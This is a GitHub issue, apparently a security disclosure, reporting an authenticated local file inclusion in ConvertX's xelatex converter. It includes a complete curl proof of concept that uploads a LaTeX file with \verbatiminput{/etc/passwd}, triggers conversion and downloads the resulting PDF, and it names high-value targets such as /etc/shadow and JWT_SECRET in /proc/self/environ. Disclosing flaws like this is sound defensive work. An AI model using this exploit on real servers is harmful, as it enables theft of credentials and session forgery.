Skip to content

Authenticated Local File Inclusion via LaTeX \input directive in xelatex converter #573

Description

@geo-chen

reported on 4 June 2026 https://github.com/C4illin/ConvertX/security/advisories/GHSA-qwm5-vvqj-wrhc - no response.

Summary

An authenticated user can upload a crafted LaTeX (.tex or .latex) file containing a
\verbatiminput or \input directive that references arbitrary files on the server
(e.g. /etc/passwd, /etc/shadow, environment variable files, application config
files, source files, or other sensitive data). When the file is converted to PDF using
the built-in xelatex converter, the referenced server-side file contents are rendered
verbatim into the output PDF, which the attacker can then download via the results page.
This constitutes an authenticated server-side Local File Inclusion (LFI) with direct
read-back of arbitrary files accessible to the server process.

Details

The xelatex converter in src/converters/xelatex.ts invokes latexmk on the
user-supplied input file without any content inspection or sandboxing:

// src/converters/xelatex.ts, lines 26-27
execFile(
  "latexmk",
  ["-xelatex", "-interaction=nonstopmode", `-output-directory=${outputPath}`, filePath],
  ...

The upload handler in src/pages/upload.tsx sanitizes only the filename (via the
sanitize-filename package, preventing path traversal in the stored name), but does
not inspect or restrict the file content. No restrictions are placed on LaTeX directives
within uploaded .tex or .latex files.

LaTeX supports \input{path} and \verbatiminput{path} (from the verbatim package)
directives that cause the TeX engine to open and read arbitrary filesystem paths during
compilation. Because latexmk is invoked with the server process's working directory
and permissions (root inside the default Docker image), any file readable by the server
process can be included. The compiled PDF is written to the output directory and made
available for download via GET /download/:userId/:jobId/:fileName, which is scoped to
the requesting user's own jobs.

End-to-end data flow:

  1. POST /upload -- attacker uploads lfi.tex with \verbatiminput{/etc/passwd} as content
  2. POST /convert -- attacker triggers conversion: convert_to=pdf,xelatex, file_names=["lfi.tex"]
  3. Server calls: latexmk -xelatex -interaction=nonstopmode -output-directory=<outdir> <uploadsdir>/lfi.tex
  4. xelatex reads and typesets /etc/passwd into the output PDF
  5. GET /download/:userId/:jobId/lfi.pdf -- attacker downloads PDF containing /etc/passwd contents

The -interaction=nonstopmode flag means LaTeX continues past typesetting errors
caused by special characters in binary or non-text files, producing partial output
where possible.

PoC

The following steps reproduce the vulnerability against a default ConvertX instance.

Prerequisites: A valid user account. Registration is open by default
(ACCOUNT_REGISTRATION=true in the shipped compose.yaml).

# 1. Register and log in (or use existing credentials)
curl -c cookies.txt -X POST http://localhost:3000/login \
  -d 'email=attacker@example.com&password=Password123!' \
  -H 'Content-Type: application/x-www-form-urlencoded' -L

# 2. Visit / to create a new job and obtain the jobId cookie
curl -b cookies.txt -c cookies.txt http://localhost:3000/ -o /dev/null

# 3. Create the malicious LaTeX file
cat > /tmp/lfi.tex << 'EOF'
\documentclass{article}
\usepackage{verbatim}
\begin{document}
\verbatiminput{/etc/passwd}
\end{document}
EOF

# 4. Upload the file
curl -b cookies.txt -F 'file=@/tmp/lfi.tex' http://localhost:3000/upload

# 5. Trigger the conversion (replace jobId=N to match actual cookie value)
JOB_ID=$(grep jobId cookies.txt | awk '{print $NF}')
curl -b cookies.txt \
  -d "convert_to=pdf%2Cxelatex&file_names=%5B%22lfi.tex%22%5D" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -X POST http://localhost:3000/convert -L

# 6. Wait a few seconds for conversion, then download the PDF
sleep 8
USER_ID=$(python3 -c "
import base64, json
token = open('cookies.txt').read()
import re
auth = re.search(r'auth\t(\S+)', token).group(1)
payload = auth.split('.')[1] + '=='
print(json.loads(base64.b64decode(payload))['id'])
")
curl -b cookies.txt \
  "http://localhost:3000/download/${USER_ID}/${JOB_ID}/lfi.pdf" \
  -o /tmp/lfi_result.pdf

# 7. Verify /etc/passwd contents are in the PDF
pdftotext /tmp/lfi_result.pdf -

Observed result (validated on commit 0965928, v0.17.0):

Running the above produces a PDF with the following content:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[... full /etc/passwd continues ...]

Additional files readable in the same way include (but are not limited to)
/etc/shadow, /app/data/mydb.sqlite (partial, binary-safe portions),
application source files under /app/, and any credentials files mounted
into the container. Text files produce clean output; binary files produce
partial output due to character encoding limits.

Impact

Any authenticated user (including newly self-registered users when
ACCOUNT_REGISTRATION=true, which is the default) can read arbitrary files
accessible to the server process. In the default Docker deployment the server
runs as root, making every file on the container filesystem readable. Sensitive
targets include:

  • /etc/shadow -- password hashes for OS accounts
  • /proc/self/environ -- process environment, which contains the JWT_SECRET,
    ACCOUNT_REGISTRATION, and all other runtime configuration values; exfiltrating
    JWT_SECRET allows forging arbitrary user session tokens
  • Application database (/app/data/mydb.sqlite) -- contains bcrypt/argon2 password
    hashes for all registered ConvertX users
  • Mounted secrets, private keys, or credentials injected via Docker volumes or
    environment files
  • Application source code and configuration under /app/

The vulnerability has a high confidentiality impact. Integrity and availability
are not directly affected by this path.

C4illin/ConvertX
Affected versions
commit 0965928 (v0.17.0)

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions